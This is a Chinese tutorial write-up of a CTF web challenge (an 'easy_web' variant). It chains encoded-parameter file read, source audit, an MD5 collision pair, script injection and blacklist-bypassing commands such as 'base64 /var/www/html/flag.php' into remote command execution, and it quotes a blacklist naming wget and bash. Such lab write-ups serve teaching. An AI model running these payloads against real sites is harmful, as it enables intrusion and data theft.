CTF题目《easy_web》(安洵杯 2019 变种 Web)

CTF Web 题 Writeup:[安洵杯 2019] easy_web(变种)

目标地址:http://218.94.126.123:36761/index.php

最终 Flag:flag{9DA84B4C489CAEB12E68B9A768A345BB}

难度:★★☆☆☆(入门级,但涉及多个知识点串联)

标签:PHP 代码审计 / 参数多重编码 / MD5 强碰撞 / 命令执行绕过


0. 先补一点"小白也能懂"的前置知识

在正式开打之前,先把这道题会用到的几个名词讲清楚,后面看到就不会懵。

0.1 什么是 base64?

base64 是一种"把任意内容用 64 个可打印字符表示"的编码方式。

它不是加密,任何人都能还原。特点:

  • 常见长相:一串由 A-Z a-z 0-9 + / 组成的字符,末尾常有 =。
  • 例:Tm1RMlpESmxOekEyWlRZMw 就是一个 base64 字符串。
  • 用途:让二进制数据(图片、文件)能安全地塞进网址、HTML、JSON 里传输。

记忆点:base64 只是"换个写法",解出来还是原文。

0.2 什么是 hex(十六进制)编码?

hex 是把每个字节用两个十六进制数字表示。

  • 例:字符 6 的 ASCII 码是 0x36,字符 m 是 0x6d。
  • 所以 6d6d2e706e67 逐字节还原就是 m m . p n g → mm.png。

0.3 什么是 MD5?为什么会"碰撞"?

MD5 是一种哈希算法:把任意长度的内容算成一串固定 32 位的十六进制"指纹"。

  • 正常情况下两个不同内容的 MD5 应该不同。
  • 但 MD5 已被破解 :存在两组内容完全不同、MD5 却完全相同 的字符串,这叫做 "MD5 碰撞"。

为什么这很危险?看下面这段典型的"自认为很安全"的代码:

php 复制代码
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
    // 只有当 a、b "内容不同但 MD5 相同" 才会进来
    echo `$cmd`;   // 执行命令
}

程序员的本意是"必须两段不同的数据指纹相同"几乎不可能,结果用现成的碰撞样例就能轻松绕过。

0.4 什么是"命令执行"(RCE)?

PHP 里 $cmd(反引号)会把 $cmd 当成操作系统命令 执行,并返回结果。

比如 $cmd = id,服务器就会执行 id 命令并输出 uid=...。

这就是最危险的漏洞之一:能执行任意系统命令。

0.5 什么是"黑名单过滤"?

题目常会用一个正则把危险命令(cat、ls、/ 等)过滤掉。

但只要黑名单有漏网之鱼 ,或者过滤规则写得有漏洞,就能绕过。

这道题的黑名单就漏掉了 sort、base64、awk 等读取文件的命令。


1. 第一步:打开页面,找"眼睛看得见"的线索

访问首页,页面上只有一个表情包图片,页面标题/提示是:

复制代码
md5 is funny ~

理由 :这句话是出题人给的最直接提示 ------"md5 很有意思",几乎明示要用 MD5 相关技巧(碰撞/弱比较)。

再看地址栏:

复制代码
http://.../index.php?img=Tm1RMlpESmxOekEyWlRZMw&cmd=

两个参数一眼就很可疑:

  • img= 后面是一串"乱码",很可能是编码后的文件名(正常应该是 xx.png)。
  • cmd= 是空的,cmd 是 command(命令) 的缩写,暗示这里可能有命令执行。

🎯 小白思维:凡是看到看不懂的字符串,先猜它是不是 base64 / hex。


2. 第二步:破解 img 参数的"套娃"编码

img 的值是:

复制代码
Tm1RMlpESmxOekEyWlRZMw

2.1 第一次尝试:base64 解码

把 Tm1RMlpESmxOekEyWlRZMw 做一次 base64 解码,得到:

复制代码
NmQ2ZDJlNzA2ZTY3

结果是 NmQ2ZDJlNzA2ZTY3,看起来还是一串base64编码 ,而且base64解码后是6d6d2e706e67,字符只在 0-9 a-f 之间------这是典型的 hex(十六进制) 特征。

2.2 第二次尝试:再解一次 base64?还是 hex?

把它进行 base64解码:NmQ2ZDJlNzA2ZTY3 → base64解码 → 6d6d2e706e67

再把 6d6d2e706e67 进行 ascii 编码:6d6d2e706e67 → mm.png

结论 :img 的值经过了 "两次 hex + 多次 base64" 的组合编码,最终代表的是文件名 mm.png。

实际验证规则为:先 hex 解码,再连续两次 base64 解码 = 原始文件名(顺序从外到内为:base64 → base64 → hex)。

2.3 把规律公式化(很重要!)

复制代码
服务器读取文件名的过程:
  原始名  --hex编码-->  --base64编码-->  --base64编码-->  URL里的 img 值

我们要构造 payload 时,需要反过来:
  想读的文件名  --hex编码-->  --base64编码-->  --base64编码-->  (放进 img 参数)

理由 :既然 img 参数最终会被服务器还原成一个文件名 去读取,那我们只要把想要的文件名(比如 index.php)按同样的规则编码一遍,就能读取服务器上的任意文件!这是任意文件读取漏洞。


3. 第三步:读取 index.php 源码

按 2.3 的规律,把 index.php 编码(hex → base64 → base64),得到:

复制代码
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3

构造 URL:

复制代码
http://218.94.126.123:36761/index.php?img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=

页面显示的图片 src 变成了一段很长的 base64 数据。

理由 :源码里是把文件内容 base64_encode 后塞进 <img src="data:image/png;base64,..."> 里显示的。所以把这段 base64 解出来,就是 index.php 的完整源码。

解码后得到源码(关键部分):

php 复制代码
<?php
error_reporting(E_ALL || ~E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];

// 缺少 img 或 cmd 参数就跳回首页
if (!isset($_GET['img']) || !isset($_GET['cmd']))
    header('Refresh:0;url=./index.php?img=Tm1RMlpESmxOekEyWlRZMw&cmd=');

// 解开 img:先两次 base64 解码,再 hex 解码,得到文件名
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

// 只保留字母、数字和点,其它字符全删掉
$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);

// 如果文件名里含 flag(不区分大小写),就只显示图片,不读内容
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./img/'.$file.' ">';
    die();
}

// 否则:读取该文件并以 base64 形式作为图片输出
echo "<center><img src='data:image/png;base64,".base64_encode(file_get_contents($file))."' /></center>";

// 把 cmd 原样打印出来(注意:没有任何转义!)
echo $cmd;

// 黑名单过滤危险命令
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|`|;|,|\*|\?|\\|\n|\t|\r|\xA0|\{|\}|\(|\)|&[^d]|@|\||\\$|\[|\]|-|\//i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    // 只有 a、b 内容不同但 MD5 相同,才执行命令
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;   // ← 命令执行的真身
    } else {
        echo ("md5 is funny ~");
    }
}
?>

4. 第四步:审计源码,找出"三把钥匙"

把源码拆成三个关键点(这三把钥匙必须全部拿到才能通关):

🔑 钥匙 1:命令执行入口

php 复制代码
echo `$cmd`;   // 反引号 = 执行系统命令

结论 :只要能走到这一行,cmd 参数就能当系统命令执行 → 目标就是 RCE。

🔑 钥匙 2:进入命令执行的条件 ------ MD5 强碰撞

php 复制代码
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
  • 要求 a、b 内容不同 ,但 MD5 相同。
  • 注意有 (string) 强制类型转换。
    • 为什么不能用数组绕过? 常见技巧是传 a[]=1&b[]=2,让两者都变成数组导致 MD5 返回 null,从而 null===null 相等。但这里加了 (string) 强转,数组会被强制转成字符串 "Array",两个都变 "Array" → (string)$a === (string)$b → 第一个条件不成立,数组绕过失效。
  • 所以必须用真正的 MD5 碰撞字符串(内容不同、MD5 相同)。

📌 这也正是页面提示 "md5 is funny ~" 的含义。

🔑 钥匙 3:黑名单有漏洞 + cmd 被原样回显

php 复制代码
echo $cmd;    // ← cmd 被原样输出,没有任何 HTML 转义!
  • 关键发现 :$cmd 未做转义就输出到 HTML。这意味着我们可以往 cmd 里注入 HTML/JavaScript(HTML 注入 / XSS)。
  • 再看黑名单:它过滤了 cat ls / 空格... 等,但漏掉了 sort、base64、awk ,也没过滤 dir。
    • 也就是说:虽然不能用 cat /flag,但可以用 sort /var/www/html/flag.php 或 base64 /var/www/html/flag.php 来读文件。

5. 第五步:构造完整利用链

5.1 遇到的问题:a 和 b 只从 POST 读,cmd 却是 GET

  • 源码里 $cmd = $_GET['cmd'](从 GET 读)。
  • 但 $_POST['a']、$_POST['b'](从 POST 读)。
  • 也就是说:不能只用一条 GET URL 同时带上 cmd 和合法的 a/b。

怎么破? 利用钥匙 3 的 HTML 注入能力:

既然 cmd 会被原样输出,我们就可以让 cmd 里带一段 <script>。这段脚本会在当前页面(同源) 上,用 fetch() 发一个 POST 请求 ,把 a、b 的碰撞值放进 POST body,同时把要执行的命令放进 URL 的 cmd 里。

5.2 先验证 RCE 是否成立

用一个不在黑名单里 的命令 id 测试:

  • 通过注入的 <script> 发 POST:a、b 用碰撞串,cmd=id。

  • 返回结果里出现:

    uid=33(www-data) gid=33(www-data) groups=33(www-data)

✅ 说明命令执行成功,且当前用户是 www-data(Web 服务默认低权限用户)。

5.3 使用的 MD5 强碰撞串(公开现成的)

复制代码
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

这两串内容不同,MD5 却都是 0e5659e4b5edba15eb6ac86e949b034b,可以直接拿来用。

5.4 逐个探测,找到 flag 文件

先列目录(dir 未被过滤):

复制代码
cmd=dir /
cmd=dir /var/www/html

结果:

复制代码
/var/www/html  =>  bj.png  flag.php  hh.png  index.php  mm.png

结论 :flag 就在 /var/www/html/flag.php。

5.5 读取 flag 文件(绕过黑名单)

因为 cat、/ 被过滤,改用没被过滤的 base64:

复制代码
cmd=base64 /var/www/html/flag.php

返回的 base64 解码后:

php 复制代码
<?php $flag= 'flag{9DA84B4C489CAEB12E68B9A768A345BB}';

(用 sort /var/www/html/flag.php 或 awk 1 /var/www/html/flag.php 也能直接读到明文。)


6. 最终结果

复制代码
flag{9DA84B4C489CAEB12E68B9A768A345BB}

7. 知识点总结(考点回顾)

考点 说明
参数多重编码 img 参数 = base64 + base64 + hex,反过来编码即可读任意文件
任意文件读取 file_get_contents($file) 且 $file 可控 → 读源码、读 flag
代码审计 从源码里找出命令执行入口、进入条件、过滤规则
MD5 强碰撞 (string) 强转使数组绕过失效,必须用真正的碰撞串
过滤绕过 黑名单漏了 sort / base64 / awk / dir,用它们替代被禁命令
HTML 注入(XSS) echo $cmd 未转义,可注入同源 <script> 发起 POST,解决 GET/POST 参数分离问题
命令执行(RCE) 反引号 $cmd 执行系统命令,成功拿到 uid=33(www-data)

8. 小白复盘:这道题的"逻辑链"

复制代码
看提示 "md5 is funny"
        │
        ▼
怀疑 img 参数被编码 ──► 破解出是 mm.png  ──► 规律:base64+base64+hex
        │
        ▼
把 index.php 同法编码 ──► 读到源码
        │
        ▼
审计源码,找到 3 把钥匙:
   1) `$cmd` 能执行命令
   2) 需要 MD5 强碰撞才能进入
   3) $cmd 原样回显 → 可注入 <script>
        │
        ▼
用注入的 <script> 发 POST:带上碰撞串 + cmd
        │
        ▼
cmd=id 验证 RCE → dir 找文件 → base64/sort 读 flag.php
        │
        ▼
🎉 得到 flag

一句话总结 :用 img 的多重编码漏洞读源码 → 审计出命令执行 + MD5 强碰撞条件 → 利用 cmd 未转义注入脚本以补齐 POST 参数 → 用未过滤命令读取 flag。


9. 公开现成的 MD5 碰撞对

1. 王小云碰撞(最经典,128 字节二进制块)

两段 128 字节的不同数据,MD5 完全相同:

plain 复制代码
块 A:
d131dd02c5e6eec4693d9a0698aff95c2fcab58712467eab4004583eb8fb7f89
55ad340609f4b30283e488832571415a085125e8f7cdc99fd91dbdf280373c5bd
8823e3156348f5bae6dacd436c919c6dd53e2b487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080a80d1ec69821bcb6a8839396f9652b6ff72a70

块 B:
d131dd02c5e6eec4693d9a0698aff95c2fcab50712467eab4004583eb8fb7f89
55ad340609f4b30283e4888325f1415a085125e8f7cdc99fd91dbd7280373c5bd
8823e3156348f5bae6dacd436c919c6dd53e23487da03fd02396306d248cda0
e99f33420f577ee8ce54b67080280d1ec69821bcb6a8839396f965ab6ff72a70

共同 MD5: 79054025255fb1a26e4bc422aef54eb4

两段数据只在 6 个字节上不同,且每个差异字节都只是最高位被翻转(XOR 0x80 ):偏移 19、45、59、83、109、123 处分别是 87→07、71→f1、f2→72、b4→34、a8→28、2b→ab。 这是差分路径刻意设计的结果,不是巧合。

2. 纯 ASCII 可打印文本碰撞(HashClash 官方 README 里的)

更惊艳的一组------两个可读字符串,只在第 22 个字符不同(A vs E),MD5 却相同:

plain 复制代码
TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak

这组是 Marc Stevens 的 HashClash 项目 2023 年悄悄加进仓库的,专门用于演示"文本也能碰撞"。

相关推荐
coding漫漫长路41 分钟前
二值化后还剩1212个黑点,OCR却认成了乱码
前端
不可能片场43 分钟前
AI视频口型对齐 用音频驱动说话镜头
前端·electron
Lank_M44 分钟前
OCR一个字没认错,倾斜2.5°却把行序排乱了
前端
daols881 小时前
vue 表格组件 vxe-table 实现自定义多行编辑功能
前端·javascript·vue.js·vxe-table
不要试图纠正别人1 小时前
别让大模型算钱:我把优惠券组合优化写成了确定性算法
前端
IT_Octopus1 小时前
【零基础入门 LLM 开发 · Day 11】:ChatOpenAI vs init_chat_model——一行换供应商
java·前端·javascript
柚yuzumi1 小时前
React 19 Hooks 入门:函数组件的四大法宝 (useState / useEffect / useRef / useContext)
前端·javascript·架构
HackTwoHub1 小时前
DeepSeek Harness 红队破甲插件|适配 SRC 挖掘场景,区分平台拦截与模型原生输出,用于大模型安全边界合规测评研究
安全·web安全·网络安全·系统安全·密码学·网络攻击模型·安全架构
deli0071 小时前
撒下 200 个种子点,平面为什么自己长成蜂窝?Voronoi 图实验室
前端